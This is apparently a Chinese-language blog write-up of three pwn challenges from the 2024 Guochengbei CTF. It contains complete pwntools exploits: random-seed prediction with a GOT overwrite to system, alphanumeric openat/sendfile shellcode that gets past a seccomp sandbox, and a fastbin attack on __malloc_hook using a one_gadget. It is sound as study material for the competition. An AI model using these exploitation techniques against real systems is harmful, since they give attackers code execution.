2024国城杯 PWN部分WP

beverage store(伪随机数破解+调用libc函数+修改GOT表)

题目实现了这样一个功能,取当前时间作为随机数种子,然后产生随机数,判断输入是产生的随机数,否则就终止程序。

srand和rand是伪随机数,只要seed一样,rand的值就一样。那就可以在脚本里面计算rand值,然后输入就行,重点是怎么调用libc库函数,不能直接用elf。

libcfunc=ctypes.cdll.LoadLibrary(“libc.so.6”)

libcfunc.srand(libcfunc.time(0))

a=str(libcfunc.rand()).encode()

输入正确后进入buy函数:

buy函数可以实现一定程度上的地址写,因为只规定了v0不能大于4,但是可以是负值,也就是说可以往section变量前面的地址写

GOT表在前面:

题目给了半个后门:

也就是要把printf改成system,但是题目并没给system函数,所以还得泄露一下其他函数的地址来计算libc偏移

但是直接改不行,因为改完后程序就终止了,得先把exit改成buy函数,这样就能无限利用,第二次泄露puts函数计算system函数地址,第三次把print改成system,然后第四次把exit改成后门函数就能getshell.

这里我卡了很久,错误写法:

#leak system addr

p.sendlineafter("wine\n",b'0')

p.sendafter("choose\n",p64(elf.got['puts']))

p.recvuntil("succeed\n")

puts = u64(p.recv(6).ljust(8,b'\x00'))

libcbase=puts-libc.sym["puts"]

system=libcbase+libc.sym["system"]

print(hex(puts))

print(hex(libcbase))

上述写法只是把elf.got表的puts地址打了出来,而puts的真正地址是该处的值!!

所以应该把偏移设置到puts的got表地址处,然后让程序读出来,这里有个问题就是我们必须往这个地址写入一点东西才能继续,就会把puts真正地址覆盖掉一部分,所以先用gdb来看puts真正地址是什么,然后填入被覆盖掉的数值就行:

可以发现是\x50,所以写入\x50就行

p.sendlineafter("wine\n",b'-8')

p.sendafter("choose\n",b'\x50')

p.recvuntil("succeed\n")

puts = u64(p.recv(6).ljust(8,b'\x00'))

libcbase=puts-libc.sym["puts"]

system=libcbase+libc.sym["system"]

完整exp如下:

from pwn import *
import ctypes
context.log_level="debug"
p = process("/home/monke/guochengbei/3/pwn")
elf=ELF("/home/monke/guochengbei/3/pwn")
p = remote("125.70.243.22", 31496)
libc=ELF("/home/monke/guochengbei/3/libc.so.6")
libcfunc=ctypes.cdll.LoadLibrary("libc.so.6")
section=0x4040a0
p.sendlineafter("input yours id",b'a')

libcfunc.srand(libcfunc.time(0))
payload=str(libcfunc.rand()).encode()
p.sendlineafter("Input yours id authentication code:\n",payload)


#exit->buy
p.sendlineafter("wine\n",str(int((elf.got['exit']-section)/16)))
p.sendafter("choose\n",p64(elf.sym['buy']))


#leak system addr
p.sendlineafter("wine\n",b'-8')
p.sendafter("choose\n",b'\x50')
p.recvuntil("succeed\n")
puts = u64(p.recv(6).ljust(8,b'\x00'))
libcbase=puts-libc.sym["puts"]
system=libcbase+libc.sym["system"]



#printf->system
p.sendlineafter("wine\n",str(int((elf.got['printf']-section)/16)))
p.sendafter("choose\n",p64(system))

#exit->backdoor
p.sendlineafter("wine\n",str(int((elf.got['exit']-section)/16)))
p.sendafter("choose\n",p64(elf.sym["vuln"]))


p.interactive()

Alpha_Shell(插件去除花指令,沙箱禁用ORW)

进来没看见main函数,找了一番终于找到,应该是有花指令

可以看到main函数里面的jz jnz 是很明显的花指令,这里有两个办法

1:直接跳过main,点击code,然后按P转换函数,就能反编译,main函数只是多了个初始化init,但是这种反编译出来比较繁琐难懂

2.用插件nomoreflower:

然后点击main函数,P转换成函数,就能反编译出来,这种方法更正确:

逻辑很简单,就是直接执行shellcode,但是限定只能用数字字母,而且还用了沙箱。

直接终端用seccomp-tools dump不出来哪些被禁用了,因为seccomp-tools得到启动沙箱的命令才能检测到,有两种方法,一个是在脚本里面开:p=process(‘seccomp-tools dump /home/monke/guochengbei/1/attachment’,shell=True)

或者在终端输入ctrl d:

也可以手动看:

对比系统调用号https://blog.csdn.net/qq_29343201/article/details/52209588

发现禁用了execve open write read 等函数,需要另辟蹊径。

使用openat+sendfile

sendfile可以同时完成read+write的功能

用ae64生成纯字母数字shellcode,我一开始打不通,是因为没有设置寄存器,通常call shellcode时候都会把shellcode地址放一个寄存器里面:

所以payload要这样写:

payload= AE64().encode(asm(shellcraft.openat(-100,”flag”)+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0)),’rdx’)

实测不用exit0也可以:

payload= AE64().encode(asm(shellcraft.openat(-100,”flag”)+shellcraft.sendfile(1,3,0,100)),’rdx’)

完整exp如下:

from pwn import*
from ae64 import AE64
context(arch="amd64", os="linux", log_level="info")
p=remote("125.70.243.22",31389)
#p = process("/home/monke/vmcourse_pwn/7/pwn.bin")
payload= AE64().encode(asm(shellcraft.openat(-100,"flag")+shellcraft.sendfile(1,3,0,100)),'rdx')
print(payload)
p.send(payload)
p.interactive()

vtable_hijack(unsortedbin leak+fastbin attack by uaf)

菜单题,有UAF和edit任意溢出

思路是,先用unsorted bin来泄露并计算所需函数地址,然后用fastbin attack劫持malloc_hook为one gadget

unsorted bin泄露:

add(0,0x80) #0

add(1,0x60) #1

delete(0)

show(0)

main_arena_add88=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))

然后就是动调来算偏移,计算目标函数地址,不多说了

接着是fastbin attack:

用UAF来打fastbin attack,思路是先释放一个chunk 进入fastbin,然后用uaf改写这个chunk的指针为malloc_hook-0x23,再申请两个chunk就能拿到malloc_hook-0x23,改写malloc_hook为one_gadget就行

delete(1)

edit(1,0x8,p64(malloc_hook_addr-0x23))

print(hex(malloc_hook_addr-0x23))

add(2,0x60)#2

add(3,0x60)#3

payload=cyclic(0x13)+p64(one_gadget)

edit(3,len(payload),payload)

有两个注意的地方:

1.为什么不直接申请到malloc_hook,要申请到malloc_hook-0x23:

因为fastbin有检查,malloc_hook处过不了检查,而malloc_hook-0x23处刚好是7f(不同版本会有差异,得动调),如果申请的fastbin chunk在0x70-0x80,也就是malloc的0x60-0x70之间时就能满足大小检测。这就是为什么要add(0x60)和fd指针得修改成malloc_hook-0x23

2.为什么最后payload是cyclic(0x13)而不是0x23,因为指针指向的是chunk头,chunk头大小占0x10。

完整exp:

from pwn import *

context.log_level='info'

#io=remote("125.70.243.22",31148)

io=process('/home/monke/guochengbei/4/pwn')

def add(index,size):

io.sendlineafter(b'choice:',b'1')

io.sendlineafter(b'index:',str(index))

io.sendlineafter(b'size:',str(size))

def delete(index):

io.sendlineafter(b'choice:',b'2')

io.sendlineafter(b'index:',str(index))

def show(index):

io.sendlineafter(b'choice:',b'4')

io.sendlineafter(b'index:',str(index))

def edit(index,length,content):

io.sendlineafter(b'choice:',b'3')

io.sendlineafter(b'index:',str(index))

io.sendlineafter(b'length',str(length))

io.sendlineafter(b'content',content)

add(0,0x80) #0

add(1,0x60) #1

delete(0)

show(0)

io.recvuntil("\n")

main_arena_add88=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))

libc=ELF('/home/monke/guochengbei/4/libc.so.6')

malloc_hook_addr = main_arena_add88-0x68

libc_base = malloc_hook_addr - libc.sym['__malloc_hook']

print(hex(libc_base))

print(hex(malloc_hook_addr))

one_gadget = libc_base + 0xd5c07

system=libc_base+libc.sym["system"]

delete(1)

edit(1,0x8,p64(malloc_hook_addr-0x23))

print(hex(malloc_hook_addr-0x23))

add(2,0x60)#2

#gdb.attach(io)

add(3,0x60)#3

#gdb.attach(io)

payload=cyclic(0x13)+p64(one_gadget)

edit(3,len(payload),payload)

#gdb.attach(io)

add(4,0x10)#2

io.interactive()

注意:one_gadget只有最后一个能通,而且有时候打不通,要多试几次!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇